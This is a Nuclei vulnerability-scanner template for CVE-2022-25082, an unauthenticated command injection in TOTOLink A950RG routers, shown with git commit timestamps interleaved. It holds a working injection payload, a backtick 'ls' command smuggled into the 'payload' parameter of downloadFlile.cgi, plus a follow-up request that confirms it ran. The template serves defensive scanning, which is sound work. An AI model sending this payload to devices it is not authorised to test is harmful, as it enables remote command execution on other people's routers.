nuclei-templates/http/cves/2022/CVE-2022-25082.yaml

54 lines
1.3 KiB
YAML
Raw Normal View History

id: CVE-2022-25082
info:
name: TOTOLink - Unauthenticated Command Injection
author: gy741
severity: critical
description: |
TOTOLink A950RG V5.9c.4050_B20190424 and V4.1.2cu.5204_B20210112 were discovered to contain a command injection vulnerability in the Main function. This vulnerability allows attackers to execute arbitrary commands via the QUERY_STRING parameter.
reference:
- https://nvd.nist.gov/vuln/detail/cve-2022-25082
- https://github.com/EPhaha/IOT_vuln/blob/main/TOTOLink/A950RG/README.md
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-25082
cwe-id: CWE-77
epss-score: 0.03923
2022-12-16 09:45:18 +00:00
tags: totolink,cve,cve2022,router,unauth,rce,iot
metadata:
max-request: 2
2022-12-16 09:45:18 +00:00
2022-12-16 09:18:12 +00:00
variables:
2022-12-16 09:40:43 +00:00
cmd: "`ls>../{{randstr}}`"
2022-12-16 09:45:18 +00:00
http:
- raw:
- |
2022-12-16 09:18:12 +00:00
GET /cgi-bin/downloadFlile.cgi?payload={{cmd}} HTTP/1.1
Host: {{Hostname}}
- |
GET /{{randstr}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
2022-12-20 20:26:23 +00:00
part: body_2
words:
- ".sh"
- ".cgi"
2022-12-20 15:39:59 +00:00
condition: and
2022-12-16 10:23:28 +00:00
- type: word
2022-12-20 20:26:23 +00:00
part: header_2
2022-12-16 10:23:28 +00:00
words:
- 'application/octet-stream'
- type: status
status:
- 200
# Enhanced by mp on 2022/11/05